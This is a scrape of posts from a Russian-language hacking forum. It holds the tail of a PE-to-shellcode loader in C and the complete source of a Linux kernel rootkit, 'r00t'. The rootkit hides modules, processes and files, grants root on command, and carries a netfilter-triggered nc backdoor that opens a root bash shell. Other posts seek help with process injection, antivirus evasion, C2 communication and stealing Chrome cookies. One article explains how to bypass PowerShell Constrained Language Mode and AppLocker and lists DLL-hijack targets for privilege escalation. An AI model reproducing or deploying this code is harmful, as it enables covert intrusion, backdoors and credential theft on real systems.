    BYTE sign[] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
    while (currAddr++)
    {
        if (MemCmp((LPVOID)currAddr, sign, 8) == 0)
        {
            currAddr += 8;
            break;
        }
    }

    *head = (ShellHead*)currAddr;
    currAddr += sizeof(ShellHead);

    return currAddr;
}

Так же ищем адреса нужных нам winapi (LoadLibraryA, GetProcAddres, VirtualAlloc), выделяем исполняемую память под PE.
Копируем секции в выделенную память:

C:Copy to clipboard

void CopySections(Shell shell)
{
    PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)(shell.data + shell.head->offsetSection);
    for (WORD i = 0; i < shell.head->numberOfSection; i++)
    {
        if (sections->SizeOfRawData)
            MemCopy((PVOID)((DWORD_PTR)shell.peMem + sections->VirtualAddress), (PVOID)((DWORD_PTR)shell.data + sections->PointerToRawData), sections->SizeOfRawData);
        sections++;
    }
}

Обрабатываем релоки:

C:Copy to clipboard

void ProcessRelocs(Shell shell)
{
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)shell.peMem;
    PIMAGE_BASE_RELOCATION baseRelocs = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)shell.peMem + shell.head->offsetRelocation);

    if ((PDWORD_PTR)baseRelocs == (PDWORD_PTR)dos)
        return;

    while ((baseRelocs->VirtualAddress + baseRelocs->SizeOfBlock) != 0)
    {
        WORD* pLocData = (WORD*)((PBYTE)baseRelocs + sizeof(IMAGE_BASE_RELOCATION));
        int numberOfReloc = (baseRelocs->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

        for (int i = 0; i < numberOfReloc; i++)
        {
            if ((DWORD)(pLocData[i] & 0xf000) == 0x3000)
            {
                PDWORD_PTR pAddress = (PDWORD_PTR)((DWORD_PTR)dos + baseRelocs->VirtualAddress + ((DWORD)pLocData[i] & 0x0fff));
                DWORD dwDelta = (DWORD)dos - shell.head->imageBase;
                *pAddress += dwDelta;
            }

        }

        baseRelocs = (PIMAGE_BASE_RELOCATION)((PBYTE)baseRelocs + baseRelocs->SizeOfBlock);
    }
}

Обрабатываем импорт:

C:Copy to clipboard

void ProcessImport(Shell shell)
{
    PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)shell.peMem + shell.head->offsetImportTable);
    char* lpDllName = NULL;
    HMODULE hDll = NULL;
    PIMAGE_THUNK_DATA lpImportNameArray = NULL;
    PIMAGE_IMPORT_BY_NAME lpImportByName = NULL;
    PIMAGE_THUNK_DATA lpImportFuncAddrArray = NULL;
    FARPROC lpFuncAddress = NULL;
    DWORD i = 0;

    while (TRUE)
    {
        if (pImportTable->OriginalFirstThunk == 0)
            break;

        lpDllName = (char*)((DWORD)shell.peMem + pImportTable->Name);
        hDll = shell.loadLibraryA(lpDllName);
        if (hDll == NULL)
        {
            pImportTable++;
            continue;
        }


        i = 0;
        lpImportNameArray = (PIMAGE_THUNK_DATA)((DWORD_PTR)shell.peMem + pImportTable->OriginalFirstThunk);
        lpImportFuncAddrArray = (PIMAGE_THUNK_DATA)((DWORD_PTR)shell.peMem + pImportTable->FirstThunk);
        while (TRUE)
        {
            if (lpImportNameArray[i].u1.AddressOfData == 0)
                break;


            lpImportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)shell.peMem + lpImportNameArray[i].u1.AddressOfData);

            if (0x80000000 & lpImportNameArray[i].u1.Ordinal)
            {
                lpFuncAddress = shell.getProcAddress(hDll, (LPCSTR)(lpImportNameArray[i].u1.Ordinal & 0x0000FFFF));
            }
            else
            {
                lpFuncAddress = shell.getProcAddress(hDll, (LPCSTR)lpImportByName->Name);
            }
            lpImportFuncAddrArray[i].u1.Function = (DWORD)lpFuncAddress;
            i++;
        }

        pImportTable++;
    }
}

Ну и запускаем:

C:Copy to clipboard

void Execute(Shell shell)
{
    PDWORD_PTR main = (PDWORD_PTR)((DWORD_PTR)shell.peMem + (DWORD_PTR)shell.head->entryPoint);
    ((void(*)(void))main)();
}

Ну, собственно и всё.
Так же набросал простой консольный интерфейс:
pe2shellcode.exe MsgBox_go.exe -t, где:
- MsgBox_go.exe - x86 PE файл. В моём случае просто месседж бокс на го.
- -t - запустить шеллкод после сохранения в файл.
На выходе получаем 2 файла: pe_shell.bin - сам шеллкод, pe_shell.h - шеллкод в виде массива байт.
Все исходники в аттаче.

Linux kernel (2.6.32-5-xen-amd64 x86_64) rootkit 'r00t'
ID: 6765d804b4103b69df3759ce
Thread ID: 49086
Created: 2021-03-08T14:51:22+0000
Last Post: 2021-03-11T09:08:49+0000
Author: deffi
Replies: 3 Views: 1K

Hopefully someone finds this useful despite the ancient kenel version targeted. Updating the code to target a newer kernel should not be too much hassle.

C:Copy to clipboard

#/* 2021-03-08
# * r00t linux rootkit targeting kernel 2.6.32-5-xen-amd64 x86_64.
# * and yes, not my problem that folks don't update their boxes.
# *
# * Features
# * - hide kernel modules, processes, files
# * - netfilter backdoor to run nc root shell
# * - this file is a (ba)sh/(gnu)make polyglot
# *
# * Issues
# * - /proc/r00t entry is hidden by hide_processes, not hide_module
# * - netfilter hook does not seem to work on some systems (no oopses though)
# *
# * Usage: READ THE FUCKING SOURCE, gtf0 scriptkiddiez....
# \
make -f $0 ARGV0=$0 $@; exit

# Makefile
obj-m = r00t.o
UNAME_R?=$(shell uname -r)

all: r00t.ko

r00t.ko: Makefile r00t.c
    make -C /lib/modules/$(UNAME_R)/build M=$(PWD) modules
    strip -d r00t.ko
clean: Makefile r00t.c
    make -C /lib/modules/$(UNAME_R)/build M=$(PWD) clean
install: r00t.ko
    insmod r00t.ko
# elifekaM

ARGV0 ?= $(lastword $(MAKEFILE_LIST))
Makefile: $(ARGV0)
    sed -n '/^# Makefile/,/^# elifekaM/p' $< > $@
r00t.c: $(ARGV0)
    mv $< $@

define slurp #*/

#include <linux/init.h>
#include <linux/ip.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/module.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/pagemap.h>
#include <linux/skbuff.h>
#include <linux/sysfs.h>
#include <linux/tcp.h>

/*
 * Default configuration, i.e., what to hide when the rootkit is loaded.
 */
static int module_hidden = 1;
static int processes_hidden = 1;
static int nf_backdoored = 0;
static int files_hidden = 0;

/*
 * Write-protect cannot be disabled with CR0 in some environments (e.g. Xen).
 */
static void set_addr_rw(void *addr)
{
    unsigned int level;
    pte_t *pte = lookup_address((unsigned long)addr, &level);
    if (pte->pte & ~_PAGE_RW) pte->pte |= _PAGE_RW;
}

static void set_addr_ro(void *addr)
{
    unsigned int level;
    pte_t *pte = lookup_address((unsigned long)addr, &level);
    pte->pte = pte->pte & ~_PAGE_RW;
}

void run_nc(u16 port)
{
    char buf[32];
    char *argv[] = {
        "/bin/nc", "-c", "/bin/bash", "-l", "-w120", "-p%hu",
        NULL
    };
    char *envp[] = {
        "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
        "R00T=HIDE",
        NULL
    };

    sprintf(buf, "-p%hu", port);
    argv[5] = &buf[0];
    call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
}

unsigned int nf_hook_func(unsigned int hooknum, struct sk_buff *skb,
        const struct net_device *in, const struct net_device *out,
        int (*okfn)(struct sk_buff *))
{
    static unsigned short last = 0;
    struct iphdr *ip;

    if (skb && (ip = ip_hdr(skb))->protocol == IPPROTO_TCP
            && (ip->ihl << 2) == sizeof(struct iphdr)) {
        struct tcphdr *tcp;
        unsigned short dest;
        tcp = (struct tcphdr *)(skb->data + (ip->ihl << 2));
        if (be16_to_cpu(tcp->source) == 666
                && (dest = be16_to_cpu(tcp->dest)) != last) {
            switch (dest) {
            case 1597: case 2584: case 4181: case 6765:
            case 10946: case 17711: case 28657: case 46368:
                run_nc((last = dest));
                return NF_DROP;
            default: break;
            }
        }
    }

    return NF_ACCEPT;
}

static struct nf_hook_ops nf_hook_ops;
int install_nf_backdoor(void)
{
    nf_hook_ops.hook = &nf_hook_func;
    nf_hook_ops.hooknum = NF_INET_PRE_ROUTING;
    nf_hook_ops.pf = PF_INET;
    nf_hook_ops.priority = NF_IP_PRI_FIRST;
    return nf_register_hook(&nf_hook_ops);
}

void uninstall_nf_backdoor(void)
{
    nf_unregister_hook(&nf_hook_ops);
}

/*
 * Since proc_root etc. may not be exported in the target system.
 */
struct file_operations *get_fops(const char *path)
{
    struct file *filp;
    struct file_operations *fops;

    filp = filp_open(path, O_RDONLY, 0);
    if (!filp) return NULL;
    fops = (struct file_operations *)filp->f_op;
    filp_close(filp, NULL);

    return fops;
}

static int (*proc_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t proc_filldir_orig;

int r00t_proc_filldir(void *buf, const char *name, int namlen, loff_t offset,
        u64 ino, unsigned int d_type)
{
    const char *p;
    pid_t pid;
    int hide;

    if (!strcmp(name, "r00t"))
        return 0;

    /*
    * If this is a PID entry, hide the process if it has R00T=HIDE set
    * in the environment.
    */
    hide = 0;
    for (p = name; *p >= '0' && *p <= '9'; p++);
    if (*p == '\0' && p != name && sscanf(name, "%d", &pid)) {
        struct task_struct *tsk;
        struct mm_struct *mm;
        struct vm_area_struct *vma;
        size_t len;
        struct page *page;
        char *maddr;
        int offset, i;

        /* Should we use get_task_mm? At least lock the fucking tsk.. */
        tsk = pid_task(find_vpid(pid), PIDTYPE_PID);
        if (!tsk || !(mm = tsk->mm)
                || !atomic_inc_not_zero(&mm->mm_users))
            goto finish;

        down_read(&mm->mmap_sem);
        if (get_user_pages(tsk, mm, mm->env_start, 1, 0, 1,
                    &page, &vma) <= 0)
            goto put;

        i = 0;
        maddr = (char *)kmap(page);
        len = mm->env_end - mm->env_start;
        offset = mm->env_start & (PAGE_SIZE-1);
        while (i <= len-10) {
            if (!strcmp(&maddr[offset+i], "R00T=HIDE")) {
                hide = 1;
                break;
            }

            /* i += strlen(&maddr[offset+i]) + 1; */
            while (maddr[offset+i++] && i <= len-10);
        }

        kunmap(page);
        page_cache_release(page);
put:        up_read(&mm->mmap_sem);
        mmput(mm);
    }

finish:
    if (hide)
        return 0;
    return proc_filldir_orig(buf, name, namlen, offset, ino, d_type);
}

int r00t_proc_readdir(struct file *fp, void *buf , filldir_t fdir)
{
    proc_filldir_orig = fdir;
    return proc_readdir_orig(fp, buf, r00t_proc_filldir);
}

static int hide_processes(void)
{
    struct file_operations *proc_fops;
    
    if ((proc_fops = get_fops("/proc"))) {
        set_addr_rw(&proc_fops->readdir);
        proc_readdir_orig = proc_fops->readdir;
        proc_fops->readdir = r00t_proc_readdir;
        set_addr_ro(&proc_fops->readdir);
        return 0;
    }

    return -1;
}

static void show_processes(void)
{
    if (proc_readdir_orig) {
        struct file_operations *proc_fops = get_fops("/proc");
        set_addr_rw(&proc_fops->readdir);
        proc_fops->readdir = proc_readdir_orig;
        set_addr_ro(&proc_fops->readdir);
    }
}

static struct list_head *module_prev;

/*
 * Hide module's sysfs directory entry.
 */
static int (*sysfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t sysfs_filldir_orig;

int r00t_sysfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
        u64 ino, unsigned int d_type)
{
    if (!strcmp(name, "r00t"))
        return 0;
    return sysfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}

int r00t_sysfs_readdir(struct file *fp, void *buf , filldir_t fdir)
{
    sysfs_filldir_orig = fdir;
    return sysfs_readdir_orig(fp, buf, r00t_sysfs_filldir);
}

static int hide_module(void)
{
    struct file_operations *sysfs_fops;

    if ((sysfs_fops = get_fops("/sys"))) {
        struct module *mod = &__this_module;
        module_prev = mod->list.prev;
        list_del(&mod->list);

        set_addr_rw(&sysfs_fops->readdir);
        sysfs_readdir_orig = sysfs_fops->readdir;
        sysfs_fops->readdir = r00t_sysfs_readdir;
        set_addr_ro(&sysfs_fops->readdir);

        return 0;
    }

    return -1;
}

static void show_module(void)
{
    struct module *mod = &__this_module;
    list_add(&mod->list, module_prev);

    if (sysfs_readdir_orig) {
        struct file_operations *sysfs_fops = get_fops("/sys");
        set_addr_rw(&sysfs_fops->readdir);
        sysfs_fops->readdir = sysfs_readdir_orig;
        set_addr_ro(&sysfs_fops->readdir);
    }
}

static int (*rootfs_readdir_orig) (struct file *, void *, filldir_t) = NULL;
static filldir_t rootfs_filldir_orig;

int r00t_rootfs_filldir(void *buf, const char *name, int namlen, loff_t offset,
        u64 ino, unsigned int d_type)
{
    if (!strncmp(name, ".r00t_", 6))
        return 0;
    return rootfs_filldir_orig(buf, name, namlen, offset, ino, d_type);
}

int r00t_rootfs_readdir(struct file *fp, void *buf, filldir_t fdir)
{
    rootfs_filldir_orig = fdir;
    return rootfs_readdir_orig(fp, buf, r00t_rootfs_filldir);
}

static int hide_files(void)
{
    struct file_operations *rootfs_fops;

    if ((rootfs_fops = get_fops("/"))) {
        set_addr_rw(&rootfs_fops->readdir);
        rootfs_readdir_orig = rootfs_fops->readdir;
        rootfs_fops->readdir = r00t_rootfs_readdir;
        set_addr_ro(&rootfs_fops->readdir);
        return 0;
    }

    return -1;
}

static void show_files(void)
{
    if (rootfs_readdir_orig) {
        struct file_operations *rootfs_fops = get_fops("/");
        set_addr_rw(&rootfs_fops->readdir);
        rootfs_fops->readdir = rootfs_readdir_orig;
        set_addr_ro(&rootfs_fops->readdir);
    }
}

struct proc_dir_entry *r00t_pde;

void r00t_command(const char *cmd)
{
    /*printk(KERN_INFO "handle command: %s", cmd);*/
    if (!strcmp(cmd, "r00t_me")) {
        struct cred *credentials = prepare_creds();
        credentials->uid = credentials->euid = 0;
        credentials->gid = credentials->egid = 0;
        commit_creds(credentials);
    } else if (!module_hidden && !strcmp(cmd, "hide_module")) {
        module_hidden = !hide_module();
    } else if (module_hidden && !strcmp(cmd, "show_module")) {
        show_module();
        module_hidden = 0;
    } else if (!processes_hidden && !strcmp(cmd, "hide_processes")) {
        processes_hidden = !hide_processes();
    } else if (processes_hidden && !strcmp(cmd, "show_processes")) {
        show_processes();
        processes_hidden = 0;
    } else if (!nf_backdoored && !strcmp(cmd, "install_nf_backdoor")) {
        nf_backdoored = !install_nf_backdoor();
    } else if (nf_backdoored && !strcmp(cmd, "uninstall_nf_backdoor")) {
        uninstall_nf_backdoor();
        nf_backdoored = 0;
    } else if (!files_hidden && !strcmp(cmd, "hide_files")) {
        files_hidden = !hide_files();
    } else if (files_hidden && !strcmp(cmd, "show_files")) {
        show_files();
        files_hidden = 0;
    }
}

#define R00T_MAX_CMD_LEN 32
static int r00t_write_proc(struct file *file, const char __user *buf,
        unsigned long len, void *data)
{
    static char cmd_buf[2*R00T_MAX_CMD_LEN];
    static int end = 0;
    static int ignore = 0;
    unsigned long len0 = len;

    while (len > 0) {
        int i, ncopy;
        ncopy = (len > R00T_MAX_CMD_LEN) ? R00T_MAX_CMD_LEN : len;
        if (copy_from_user(&cmd_buf[end], buf, ncopy))
            break;

        i = end;
        end += ncopy;
        buf += ncopy;
        len -= ncopy;
        while (i < end) {
            if (cmd_buf[i++] != '\n')
                continue;

            if (!ignore && i <= R00T_MAX_CMD_LEN) {
                cmd_buf[i-1] = 0;
                r00t_command(cmd_buf);
            } else {
                ignore = 0;
            }

            memmove(cmd_buf, &cmd_buf[i], (end = end - i));
            i = 0;
        }
        
        if (end > R00T_MAX_CMD_LEN) {
            ignore = 1;
            end = 0;
        }
    }

    return (len < len0) ? len0 - len : -1 /* Nothing written */;
}


int r00t_read_proc(char *page, char **start, off_t off, int count,
        int *eof, void *data)
{
    if (off > 0) {
        *eof = 1;
        return 0;
    }

    return sprintf(page, "r00t: 1\n"
            "module_hidden: %d\n"
            "processes_hidden: %d\n"
            "nf_backdoored: %d\n"
            "files_hidden: %d\n",
            module_hidden, processes_hidden,
            nf_backdoored, files_hidden);
}

static int __init r00t_init(void)
{
    /*printk(KERN_INFO "loading r00t!\n");*/

    /* Create /proc/r00t */
    r00t_pde = create_proc_entry("r00t", 0666, NULL);
    if (!r00t_pde) {
        /*printk(KERN_INFO "cannot create /proc/r00t");*/
        return -1;
    }
    r00t_pde->read_proc = r00t_read_proc;
    r00t_pde->write_proc = r00t_write_proc;

    if (module_hidden)
        module_hidden = !hide_module();
    if (processes_hidden)
        processes_hidden = !hide_processes();
    if (nf_backdoored)
        nf_backdoored = !install_nf_backdoor();
    if (files_hidden)
        files_hidden = !hide_files();

    return 0;
}

static void __exit r00t_cleanup(void)
{
    /*printk(KERN_INFO "cleaning up r00t\n");*/

    if (module_hidden)
        show_module();
    if (processes_hidden)
        show_processes();
    if (nf_backdoored)
        uninstall_nf_backdoor();
    if (files_hidden)
        show_files();

    remove_proc_entry("r00t", NULL);
}

module_init(r00t_init);
module_exit(r00t_cleanup);

MODULE_LICENSE("GPL");
/*
MODULE_AUTHOR("def <def@huumeet.info>");
MODULE_DESCRIPTION("r00t linux kernel rootkit");
endef # define slurp */
Как запустить EXE в памяти другого процесса?
ID: 6765d804b4103b69df3759cf
Thread ID: 48513
Created: 2021-02-23T13:13:26+0000
Last Post: 2021-03-10T23:18:36+0000
Author: 0x2d4_a8
Replies: 5 Views: 1K

Нужно запустить EXE файл в памяти другого процесса, для Windows, желательно для обоих x86/x64 архитектур.
Для x86 архитектуры нашел хорошее решение - Zer0Mem0ry/RunPE
Адаптировать для x64 архитектуры не удалось.
Пытался писать адреса EntryPoint и ImageBase в регистры RCX и RDX соответственно, как и принимают аргументы RtlUserThreadStart, но все оказалось безуспешно.
А так же вопрос, палится ли библиотека DarthTon/Blackbone аверами и возможно ли с помощью нее смаппить и запустить x64 EXE в память другого процесса?

Самый лучший способ хуков функции
ID: 6765d804b4103b69df3759d0
Thread ID: 48738
Created: 2021-02-28T09:30:05+0000
Last Post: 2021-03-10T22:47:52+0000
Author: Exfazo
Replies: 6 Views: 1K

Подскажите, какой способ будет лучше(слышал про сплайсинг и про замену функции в процессе), способ который менее палится аверами

Сетевое взаимодействие с С&C
ID: 6765d804b4103b69df3759d1
Thread ID: 48458
Created: 2021-02-22T12:22:56+0000
Last Post: 2021-03-09T06:13:35+0000
Author: yodabyte
Replies: 4 Views: 1K

Подскажите по какому принципу происходит обмен данными в условных ратниках с командным сервером. Можно конечно с большим таймаутом слать запросы на сервер или брать заранее приготовленную инфу с каких-то ещё публичных источников, но интересует конкретно обращение на клиент

EXCEPTION_PRIV_INSTRUCTION after shellcode execution
ID: 6765d804b4103b69df3759d5
Thread ID: 48447
Created: 2021-02-22T09:16:22+0000
Last Post: 2021-02-23T18:33:13+0000
Author: Jeffs
Replies: 9 Views: 1K

Тестировал данный метод загрузки кода в процесс: https://github.com/odzhan/injection/blob/master/cmdline/cmd_inject.c
Так же для тестов написал простой шеллкод на Си (проект в аттаче). Шеллкод отрабатывает успешно, но как только шелл отработает - ловлю исключение EXCEPTION_PRIV_INSTRUCTION.
Сам шеллкод при тестах в текущем процессе отрабатывает успешно.
Даже если убрать весь код шелла, заменить на простую затычку:

Code:Copy to clipboard

__declspec(noinline) int ShellEntry()
{
    int arr[10];
    int i = 0;
    for (i = 0; i < 10; i++) arr[i] = i;
    return i;
}

Так же ловлю это же исключение. Буду благодарен, если кто-нибудь поможет разобраться.
В папке Release есть собранный шеллкод (shell.bin).
Пароль на архив:

Hidden content for authorized users.

xss.is

Есть ли ещё смысл в плюсах при существовании Go и Rust?
ID: 6765d804b4103b69df3759d9
Thread ID: 48347
Created: 2021-02-19T12:40:48+0000
Last Post: 2021-02-19T15:49:47+0000
Author: shadowoftheghost
Replies: 9 Views: 1K

Вот прям интересно. Учитывая что оба языка предоставляют расширенные возможности по управлению памятью и скорость исполнения, за которые плюсы ценят, есть ли смысл в плюсах, на которых код во множестве случаев попросту нечитабелен и наполнен boilerplate'ом, и их изучении?

Запуск GUI без отображения на панели задач
ID: 6765d804b4103b69df3759dc
Thread ID: 48047
Created: 2021-02-13T10:22:33+0000
Last Post: 2021-02-16T16:43:12+0000
Author: heybabyone
Replies: 7 Views: 1K

Цель состоит в том, чтобы запустить при помощи CreateProcessW, ShellExecuteW приложуху которая имеет GUI, но игнорирует SW_HIDE - спецификация программы.
xttps://prnt.sc/zbp4bk
Как на скрине моя программа запускается как хром или psi+

Можно конечно найти после создание его окно, скрыть, но это такое...
Другой вариант есть с удочерением WinForms.
Есть ли другие методы запуска такого приложения если абсолютно игорируется SW_HIDE и подобное флажки?
Другой вариант - создание скрытого рабочего стола и запуск уже там. Но это детектится жестко.

How to get cookies from chrome? (C++)
ID: 6765d804b4103b69df3759e2
Thread ID: 47422
Created: 2021-01-30T23:20:54+0000
Last Post: 2021-02-05T12:28:18+0000
Author: EuroStar
Replies: 11 Views: 1K

Hey. How can I get the cookies from google chrome and also decrypt them in C++?
I know that the cookies are stored in C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Cookie.

Интересный метод самоудаления
ID: 6765d804b4103b69df3759e4
Thread ID: 47136
Created: 2021-01-24T09:48:33+0000
Last Post: 2021-01-26T11:07:28+0000
Author: DildoFagins
Replies: 7 Views: 1K

Сабж: https://github.com/LloydLabs/delete-self-poc

900+ GB Courses of diffrrent fields
ID: 6765d804b4103b69df3759e6
Thread ID: 45467
Created: 2020-12-12T18:09:45+0000
Last Post: 2021-01-22T14:45:08+0000
Author: doeluke3214
Replies: 1 Views: 1K

Don 't forgot to like

Download link:

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- folder.png&hash=63d46597e69ae4a51888711a37d2bf45&return_error=1)

[ File folder on MEGA

](https://mega.nz/folder/rfAUXSKR#9k9FlvAQQzLzds9ZnG4c-Q)

mega.nz mega.nz

методы сканирования локальной сети
ID: 6765d804b4103b69df3759ef
Thread ID: 46725
Created: 2021-01-14T11:27:24+0000
Last Post: 2021-01-14T18:20:18+0000
Author: dyadka0220
Replies: 4 Views: 1K

Знаю что многие используют arp scan, кто-то GetAdaptersAddresses.
Какой самый нормальный способ узнать все айпи адреса локалке

Обход механизмов защиты Windows и игры с OffensiveNim
ID: 6765d804b4103b69df3759f1
Thread ID: 46550
Created: 2021-01-10T18:14:18+0000
Last Post: 2021-01-10T18:14:18+0000
Author: yashechka
Prefix: Статья
Replies: 0 Views: 1K

В этом посте я расскажу короткую историю из среды, с которой я столкнулся некоторое время назад, и о том, как справиться с ситуацией, минуя режим ограниченного языка и Applocker, используя хорошо известные методы. Недавно у меня было время взглянуть на репозиторий OffensiveNim, созданный @byt3bl33d3r, который проделал действительно потрясающую работу. Посмотрев на примеры кода и возясь с некоторыми из них, я обнаружил, что это довольно круто и имеет хорошие преимущества. Поэтому вторая глава посвящена моим забавам с шаблонами Nim. Бинарные файлы C#, завернутые в Nim, также можно было использовать для обхода механизмов защиты Windows - для развлечения и профита. В этом посте не будет ничего нового, все использованное уже публично. Но, возможно, некоторые из вас столкнутся с подобной ситуацией в будущем - этот пост может помочь вам здесь.

Обход механизмов защиты Windows

Итак, с какой ситуацией я столкнулся? Это была среда Windows с включенным ограниченным языковым режимом (Constrained Language Mode) в каждой системе.

Ограниченный язык PowerShell - это языковой режим PowerShell, предназначенный для поддержки повседневных административных задач, но при этом ограничивающий доступ к чувствительным языковым элементам, которые можно использовать для вызова произвольных API-интерфейсов Windows.

Click to expand...

Вы можете увидеть, активен ли этот языковой режим, выполнив следующую команду в окне консоли Powershell:

Bash:Copy to clipboard

$ExecutionContext.SessionState.LanguageMode

Режим по умолчанию - FullLanguage, который позволяет любые команды.

Если в вашей среде включен CLM, вы, скорее всего, не сможете использовать собственный Windows Powershell.exe для любых целей наступательной безопасности. Никаких соединений Command&Control (C2) через stager Powershell, никаких скриптов, загружаемых через IEX(), и так далее. Для защитников - Включите ограниченный языковой режим, это усложнит жизнь вредоносным программам и злоумышленникам, а также всем ребятам из Offensive Security, таким как Pentesters и Red-Teams.

Однако существует множество широко известных методов обойти этот механизм защиты. Ограничение применяется к встроенному Powershell.exe, поэтому, если вы переносите свой собственный Powershell в скомпрометированную систему или любой другой двоичный файл с помощью Powershell Runspace, вы можете выполнять команды и сценарии как обычно. Некоторые из инструментов, которые я использовал для обхода CLM в прошлом, были следующие:

- PSByPassCLM - C# Powershell Runspace
- PowerShdll - C# Powershell Runspace
- InsecurePowerShell - Powershell fork without security features
- PowerLessShell - C# Runspace via MSBuild
- MSBuildShell - C# Runspace via MSBuild

Click to expand...

Есть еще много подобных инструментов, все, что я нашел до сих пор, содержится в моем списке Pentest Tools. (<https://github.com/S3cur3Th1sSh1t/Pentest- Tools#AMSI-Bypass-restriction-Bypass>)

Используя прямую связь с .NET API через Powershell Runspace, должно быть легко обойти CLM и выполнить наш любимый C2-stager, верно? К сожалению, CLM был не единственным механизмом защиты, активным в этой среде. Они также включили Applocker на клиентах.

AppLocker расширяет возможности управления приложениями и функциональность политик ограниченного использования программ. AppLocker содержит новые возможности и расширения, которые позволяют создавать правила, разрешающие или запрещающие запуск приложений на основе уникальных идентификаторов файлов, и указывать, какие пользователи или группы могут запускать эти приложения.

Click to expand...

По моему опыту, уровень защиты Applocker сильно различается в зависимости от конфигурации. Если компания включает Applocker, но оставляет конфигурацию в состоянии по умолчанию, есть много способов обойти его. На Github есть потрясающие списки того, как обойти конфигурацию по умолчанию:

**-<https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic- AppLockerbypasses.md>
- **https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md

Click to expand...

Таким образом, чтобы обойти конфигурацию по умолчанию, вы можете использовать те же инструменты, которые уже упоминались выше. Их можно использовать с MSBuild.exe или rundll32.exe, и эти собственные двоичные файлы Windows разрешены в конфигурации по умолчанию. В качестве альтернативы любой двоичный файл может быть помещен в каталог с возможностью записи с разрешениями на выполнение.

Однако в данной среде все эти местоположения по умолчанию и упомянутые бинарные файлы native windows были запрещены. Чтобы взглянуть на текущую конфигурацию Applocker, вы можете использовать следующую команду Powershell, которая по-прежнему разрешена даже при включенном ограниченном языковом режиме:

Bash:Copy to clipboard

Get-AppLockerPolicy -Effective -Xml | Set-Content ('c:\users\currentuser\Desktop\ApplockerConfig.xml')

На мой взгляд, понимание XML-вывода несложно, поэтому я не буду вдаваться в подробности здесь. В данной среде мне посчастливилось найти один доступный для записи каталог, используемый Java-приложением, установленным на многих клиентских системах:

*C:\oracle\java\bin*

Удаление двоичного файла в этот каталог позволяет нам выполнять код без ограничений. Мы можем просто поместить один из упомянутых выше инструментов (не инструменты на основе MSBuild.exe или Rundll32.exe) в папку и выполнить любую команду Powershell без ограничений, потому что мы также обходим Constrained Language Mode. Пока все просто, никаких новых методов или инструментов.

Интересный факт: расположение папки переменной PATH с возможностью записи позволяет локально повысить привилегии затронутых клиентов. В этом случае путь C:\oracle\java\bin был доступен для записи и включен в переменные среды PATH. Вы можете найти эту уязвимость с помощью простого скрипта. Если вы поместите DLL в этот каталог, который не находится нигде на диске, но который требуется, например, службой Windows и выполняется с правами NT-Authority\SYSTEM, вы можете получить системную оболочку. Кроме того, эта служба должна действовать в соответствии с порядком поиска DLL по умолчанию. Вот некоторые общеизвестные библиотеки DLL, использующие эту уязвимость:

- CDPSvc.dll - Connected Devices Platform Service (CDPSvc) - <http://zeifan.my/security/eop/2019/11/05/windows-service-host-process- eop.html>
- WptsExtensions.dll - Windows 10 Task Scheduler service - <https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task- schedulerservice.html>
- wlanhlp.dll - Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/

Click to expand...

03.01.2021: Обновление
Спасибо itm4n за разъяснения. Ранее я писал, что следующие три имени DLL уязвимы. Это не так, поскольку порядок поиска DLL по умолчанию здесь не используется. Следующие три могут быть загружены только из каталога SYSTEM32.

- windowscoredeviceinfo.dll - загружается при создании сеанса обновления - itm4ns UsoDllLoader
- phoneinfo.dll - служба отчетов о проблемах Windows - sailay1996s WerTrigger
- Ualapi.dll - Служба факсов - ionescu007s faxhell

Click to expand...

Если кто-то из вас знает о более уязвимых сервисах / возможностях перехвата DLL - не стесняйтесь писать мне в DM.

Игры с OffensiveNim

Зачем кому-то использовать Nim в наступательных целях безопасности? В репозитории OffensiveNim byt3bl33d3r уже перечисляет некоторые причины, я скопировал некоторые из них для этого поста:

- Компилируется непосредственно в C, C++, Objective-C и Javascript.
- Избегает того, чтобы вы действительно писали на C/C++, и, следовательно, избегает внесения множества проблем с безопасностью в ваше программное обеспечение.
- Очень простая кросс-компиляция в Windows из *nix/MacOS, требуется только установить набор инструментов mingw и передать один флаг компилятору nim.
- Компилятор Nim и созданные исполняемые файлы поддерживают все основные платформы, такие как Windows, Linux, BSD и macOS.

Click to expand...

Тот факт, что Nim напрямую компилируется в C/C ++, дает двоичным файлам OffensiveNim все возможности и преимущества Offensive C-tooling. Например, вы можете использовать любой C-бинарный PE-Loader или PE-Packer, что упрощает их выполнение из памяти. Поэтому дается простая интеграция с существующими инструментами/методами наступательной безопасности.

Если у вас нет опыта программирования на C/C ++, но вы хотите использовать его преимущества, Nim - простая альтернатива. Я должен признать, что мои навыки работы с C/C ++ на самом деле очень низкие, потому что я почти никогда им не пользовался. Единственное, что я сделал, это взял существующий код и изменил его под свои нужды. Так что для меня это стоило взглянуть.

